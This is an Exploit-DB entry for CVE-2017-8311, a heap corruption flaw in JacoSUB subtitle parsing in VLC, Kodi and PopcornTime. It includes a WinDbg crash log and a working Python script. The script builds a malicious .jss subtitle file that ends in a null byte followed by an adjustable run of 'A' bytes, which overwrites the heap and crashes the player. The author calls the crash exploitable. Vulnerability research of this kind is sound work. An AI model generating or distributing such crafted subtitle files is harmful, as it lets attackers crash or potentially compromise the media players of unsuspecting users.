Exploit-DB #44514
Description: VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2018-04-24
Author: SivertPL

Exploit:
"""
VLC Media Player/Kodi/PopcornTime 'Red Chimera' < 2.2.5 Memory Corruption (PoC)
Author: SivertPL (kroppoloe@protonmail.ch)
CVE: CVE-2017-8311

Infamous VLC/Kodi/PopcornTime subtitle attack in libsubtitle_plugin.dll.
This is the Proof of Concept of the reverse engineered heap corruption vulnerability affecting JacoSUB parsing in VLC/Kodi/PopcornTime.
The crash is exploitable, but hard to exploit because of various environmental constraints such as threading/mitigations/scriptless.
I want to join a research team.
"""

"""
ModLoad: 00000000`[PII_REDACTED]`716a2000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
ModLoad: 00000000`[PII_REDACTED]`71651000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
ModLoad: 00000000`[PII_REDACTED]`7162e000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
ModLoad: 00000000`[PII_REDACTED]`7160d000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
ModLoad: 00000000`715e0[PII_REDACTED]0`715fd000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll
ModLoad: 00000000`715d0[PII_REDACTED]0`715de000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
ModLoad: 00000000`715b0[PII_REDACTED]0`715cf000   C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
core demux error: option sub-original-fps does not exist
(33c.d10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll -
libsubtitle_plugin+0x44de:
715b44de 881f            mov     byte ptr [edi],bl          ds:002b:1b9fb000=??
0:012:x86> g
(33c.d10): Access violation - code c0000005 (!!! second chance !!!)
wow64!Wow64NotifyDebugger+0x1d:
00000000`754ac9f1 654c8b1c[PII_REDACTED] mov   r11,qword ptr gs:[30h] gs:00000000`00000030=????????????????
"""

import os
import struct
import sys
import argparse

len = 1025

def main(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument("filename", help="Name of the movie file w/o extension, for generating payload")
    parser.add_argument("--length", help="Heap overwrite length (default 1025, may be bigger)", type=int)
    args = parser.parse_args()
    if args.length:
        global len
        len = args.length
    print "[+] Generating file %s.jss with overwrite size of %d" % (args.filename, len)
    write(args.filename, len)

def write(name, len):
    subtitles = open("%s.jss" % name, "w+")
    subtitles.write("0:00:02.00 0:00:04.00 VL red chimera..\n")
    subtitles.write("0:00:04.00 0:00:05.00 vm attack")
    subtitles.write("\\C")
    subtitles.write(struct.pack('B', 0))
    subtitles.write('A' * len)
    subtitles.close()
    print "[+] Done!"

if __name__ == "__main__":
     main(sys.argv[1:])